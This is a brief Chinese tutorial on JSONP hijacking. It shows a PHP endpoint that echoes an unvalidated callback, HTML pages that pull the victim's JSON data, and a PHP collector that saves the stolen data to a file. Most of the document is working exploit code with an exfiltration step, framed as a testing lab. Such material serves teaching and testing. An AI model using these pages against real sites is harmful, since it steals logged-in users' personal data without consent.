json劫持漏洞
JSON是一种轻量级的数据交换格式,劫持就对数据进行窃取。攻击者通过某些特定的手段。将本应返回已给用户的JSON数据进行拦截,转发给攻击者。一般劫持的JSON数据都是包含敏感信息或者有价值的数据。
攻击方法与CSRF类似。需要用户登录账号,在身份是认证没有消除的情况下访问攻击者设计好的页面。进而获取JSON数据,并转发给攻击者。
测试方法
找到json类型的页面 -> 构建攻击页面 -> 诱导目标访问页面 -> 获取数据
//json.php
<?php
header('Content-type: application/json');
$callback = $_GET['callback'];
print $callback.'({"id" : "1","name" : "moonsec","email":"moon@moonsec.com"});';
?>
劫持测试页面
<!-- json_test.html -->
<!DOCTYPE html>
<html lan="en">
<head>
<meta charset="UTF-8">
<title>json劫持</title>
<script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
</head>
<body>
<script>function jsonp2(data){alert(JSON.stringify(data));}</script>
<script src ="http://www.webtester.com/json.php?callback=jsonp2"></script>
</body>
</html>
劫持json发送返回数据
<!-- json_attack.html -->
<!DOCTYPE html>
<html lan="en">
<head>
<meta charset="UTF-8">
<title>json劫持发送返回数据</title>
<script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script>
<script>
function test(data){
//alert(v.name);
var xmlhttp = new XMLHttpRequest();
var url = "http://127.0.0.1/json/1.php?file=" + JSON.stringify(data);
xmlhttp.open("GET",url,true);
xmlhttp.send();
}
</script>
<script src ="http://www.webtester.com/json.php?callback=test"></script>
</head>
<body>
</body>
</html>
//1.php
<?php
if($_GET['file']){
file_put_contents('json.txt', $_GET['file']);
}
?>
访问json_atack.html劫持json数据传到1.php,保存到json.txt